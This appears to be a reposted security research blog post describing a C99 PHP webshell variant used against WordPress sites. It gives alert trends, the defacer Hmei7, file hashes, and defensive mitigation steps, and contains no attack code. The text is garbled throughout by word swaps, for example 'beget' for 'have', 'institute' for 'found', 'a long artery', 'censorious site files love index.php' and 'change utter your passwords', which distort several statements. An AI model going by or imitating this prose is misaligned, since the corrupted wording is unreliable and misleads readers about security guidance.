    What is very clear is that this particular variant of the C99 webshell is focusing on WordPress CMS vulnerabilities. Their data showed a several upward trend in alert volume tied specifically to this C99 variant. IBM MSS detected almost 1,000 attacks utilizing this specific webshell code genesis in February 2016.

    The number of webshell alerts rose dramatically in early 2016.

    The number of webshell alerts rose dramatically in early 2016.

    Most of the time, these webshell entry points result from vulnerabilities in third-party plugins (which they know often don’t undergo any security review during development) or an unpatched bug in the parent application. In fact, according to IBM X-Force, the largest percentage of CMS vulnerabilities are institute in plugins or modules written by third parties.

    This specific variant is one of many being used by a mass Web defacer known as Hmei7, who reportedly defaced more than 5,000 WordPress websites over a two-day period. Hmei7 uses backdoors with a file uploading feature and changes censorious site files love index.php or configuration.php, which are essentially the keys to controlling the kingdom. Hmei7 is known to beget defaced more than 154,000 websites and is currently being tracked by Zone-H.

    Read the research report: Understanding the risks of content management systems

    Identification

    As of April 12, 2016, a Google search for the file name pagat.txt returned more than 32,000 results. Only nine of 68 antivirus products identify this malicious php script, according to VirusTotal. Below is more information about the script:

  • MD5: 6b58157d69de0fc2663a0765e1d9c5b5
  • SHA1: 0a027b75243f8e6230991c8e58520c7e7799c5cf
  • SHA256: c0134d499451bff03335523c9f435f5bce408401d0a042881838d4f309cf8844
  • ssdeep24: FMojOrnQLqFlTuOnAtau89M+2XUSMrL1//5ZOcKVrNVkQYfEVhS2/KDZPep30VLg:KGOr6Y0OAgu8SiLtrKTVI6hS2/3p30Vc
  • File size: 1.5 KB (1515 bytes)
  • File type: PHP
  • Refer to the associated X-Force Exchange collection for more information.

    Mitigation

    We brought this issue forward to draw attention to one of the easiest methods for attackers to achieve unauthorized access to your network. Prevention goes a long artery to limiting the risk exposure. The following recommendations can aid mitigate the latest variant of the C99 webshell:

  • Edit your php.ini file to disallow base64_decode functionality. Find the line that states disable_functions = and change it to disable_functions = eval, base64_decode, gzinflate.
  • Change the name of your uploads folder. WordPress allows write access to this folder through the media uploader, which makes it easier for attackers to upload PHP files that contain shell scripts. If you leave this folder as the default, an attacker with limited erudition can guess the file path.
  • Install a safe security plugin such as the Wordfence WordPress plugin.
  • Change utter WordPress defaults to customize your install as much as possible.
  • If your website becomes compromised, anything that requires validation — such as SSL, FTP, SQL, router/firewall CLI, etc. — is furthermore compromised, including your customers’ credentials. You must change utter your passwords and counsel your customers to enact so the same.
  • Scan utter files during attachment uploading with ModSecurity. Attackers can engage edge of your excluded content to shroud their code. It is no longer feasible to exclude sure file types such as .jpg and .gif since they beget been known to contain malicious PHP code within the image headers.
  • Use a CMS security scanner such as Acunetix Vulnerability Scanner or WordPress Security Scanner to test for vulnerabilities in a WordPress installation.
  • Additional recommendations can be institute in the IBM X-Force research report “Understanding the Risks of Content Management Systems.”

    Tags: Content Management System (CMS) | IBM Managed Security Services (MSS) | Security Research | Shellcode | Vulnerability | WordPress Dave McMillen

    Senior Threat Researcher, IBM Managed Security Services

    Dave brings over 25 years of network security erudition to IBM. Dave began his career in IBM over 15 years ago where he... 19 Posts What’s new
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    References :


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    Calameo : http://en.calameo.com/books/0049235264aa5654dc888






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